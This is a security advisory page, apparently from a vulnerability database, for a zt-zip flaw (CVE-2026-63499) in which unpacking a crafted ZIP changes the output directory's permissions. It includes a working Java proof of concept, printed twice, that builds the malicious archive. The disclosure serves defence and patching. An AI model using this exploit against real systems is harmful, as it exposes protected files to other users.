GHSA-V2G6-7R9J-V6PX

Vulnerability from github – Published: 2026-11-09 21:03 – Updated: 2026-11-09 21:03
VLAI
Summary
zt-zip: ZipUtil.unpack can change file permissions of output directory
Details

Summary

When using one of the ZipUtil.unpack overloads, the file permissions of the output directory can be changed. For example, when the output directory was only accessible to the 'owner' it could be instead made accessible to every OS user.

Details

When the name of a ZIP entry resolves to the output directory itself (e.g. the name /), the path traversal checks permit it and then perform actions on that directory, such as applying the file permissions of the ZIP entry to it.

PoC

This proof of concept requires an OS with support for POSIX file permissions. This issue itself is however not limited to those OS' with POSIX file permissions, see zt-zip's ZTFilePermissionsUtil.fetchDefaultStrategy which uses a fallback in that case.

// Uses Apache Commons Compress to create the malicious ZIP file
// The issue itself is however in how zt-zip processes that ZIP file
import org.apache.commons.compress.archivers.zip.AsiExtraField;
import org.apache.commons.compress.archivers.zip.ZipArchiveEntry;
import org.apache.commons.compress.archivers.zip.ZipArchiveOutputStream;
import org.apache.commons.compress.archivers.zip.ZipExtraField;

import org.zeroturnaround.zip.ZipUtil;

import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Set;

public class ZtZipTest {
    public static void main(String[] args) throws Exception {
        Path zipPath = Path.of("permissions-change.zip");

        Path outputDir = Path.of("permissions-change");
        Files.deleteIfExists(outputDir);
        Files.createDirectory(outputDir);
        Files.setPosixFilePermissions(outputDir, Set.of());

        // outputs "[]"
        System.out.println("Permissions before: " + Files.getPosixFilePermissions(outputDir));

        createZip(zipPath);

        ZipUtil.unpack(zipPath.toFile(), outputDir.toFile());

        // outputs "[..., OTHERS_EXECUTE, OTHERS_WRITE, OTHERS_READ, ...]"
        System.out.println("Permissions after: " + Files.getPosixFilePermissions(outputDir));
    }

    public static void createZip(Path path) throws Exception {
        try (ZipArchiveOutputStream zipStream = new ZipArchiveOutputStream(path)) {
            var entry = new ZipArchiveEntry("/");
            // Set 'allow all' permissions
            entry.setUnixMode(0b1_1111_1111);

            AsiExtraField extraField = new AsiExtraField();
            // Set 'allow all' permissions
            extraField.setMode(0b1_1111_1111);
            entry.setExtraFields(new ZipExtraField[] { extraField });
            zipStream.putArchiveEntry(entry);
            zipStream.closeArchiveEntry();
        }
    }
}

Impact

Affected are users who use ZipUtil.unpack to unpack an untrusted ZIP file.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.18.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.zeroturnaround:zt-zip"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.18.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63499"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-23"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-09T21:03:31Z",
    "nvd_published_at": "2026-11-03T18:18:04Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nWhen using one of the `ZipUtil.unpack` overloads, the file permissions of the output directory can be changed. For example, when the output directory was only accessible to the \u0027owner\u0027 it could be instead made accessible to every OS user.\n\n### Details\nWhen the name of a ZIP entry resolves to the output directory itself (e.g. the name `/`), the path traversal checks permit it and then perform actions on that directory, such as applying the file permissions of the ZIP entry to it.\n\n### PoC\nThis proof of concept requires an OS with support for POSIX file permissions. This issue itself is however not limited to those OS\u0027 with POSIX file permissions, see zt-zip\u0027s `ZTFilePermissionsUtil.fetchDefaultStrategy` which uses a fallback in that case.\n\n```java\n// Uses Apache Commons Compress to create the malicious ZIP file\n// The issue itself is however in how zt-zip processes that ZIP file\nimport org.apache.commons.compress.archivers.zip.AsiExtraField;\nimport org.apache.commons.compress.archivers.zip.ZipArchiveEntry;\nimport org.apache.commons.compress.archivers.zip.ZipArchiveOutputStream;\nimport org.apache.commons.compress.archivers.zip.ZipExtraField;\n\nimport org.zeroturnaround.zip.ZipUtil;\n\nimport java.nio.file.Files;\nimport java.nio.file.Path;\nimport java.util.Set;\n\npublic class ZtZipTest {\n    public static void main(String[] args) throws Exception {\n        Path zipPath = Path.of(\"permissions-change.zip\");\n\n        Path outputDir = Path.of(\"permissions-change\");\n        Files.deleteIfExists(outputDir);\n        Files.createDirectory(outputDir);\n        Files.setPosixFilePermissions(outputDir, Set.of());\n\n        // outputs \"[]\"\n        System.out.println(\"Permissions before: \" + Files.getPosixFilePermissions(outputDir));\n\n        createZip(zipPath);\n\n        ZipUtil.unpack(zipPath.toFile(), outputDir.toFile());\n\n        // outputs \"[..., OTHERS_EXECUTE, OTHERS_WRITE, OTHERS_READ, ...]\"\n        System.out.println(\"Permissions after: \" + Files.getPosixFilePermissions(outputDir));\n    }\n\n    public static void createZip(Path path) throws Exception {\n        try (ZipArchiveOutputStream zipStream = new ZipArchiveOutputStream(path)) {\n            var entry = new ZipArchiveEntry(\"/\");\n            // Set \u0027allow all\u0027 permissions\n            entry.setUnixMode(0b1_1111_1111);\n\n            AsiExtraField extraField = new AsiExtraField();\n            // Set \u0027allow all\u0027 permissions\n            extraField.setMode(0b1_1111_1111);\n            entry.setExtraFields(new ZipExtraField[] { extraField });\n            zipStream.putArchiveEntry(entry);\n            zipStream.closeArchiveEntry();\n        }\n    }\n}\n\n```\n\n### Impact\nAffected are users who use `ZipUtil.unpack` to unpack an untrusted ZIP file.",
  "id": "GHSA-v2g6-7r9j-v6px",
  "modified": "2026-11-09T21:03:31Z",
  "published": "2026-11-09T21:03:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/zeroturnaround/zt-zip/security/advisories/GHSA-v2g6-7r9j-v6px"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63499"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zeroturnaround/zt-zip/pull/191"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zeroturnaround/zt-zip/commit/1b625467b4c3cd3a9bee9efc35bdef2f8d9c8dad"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zeroturnaround/zt-zip"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zeroturnaround/zt-zip/releases/tag/v1.18.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "zt-zip: ZipUtil.unpack can change file permissions of output directory"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…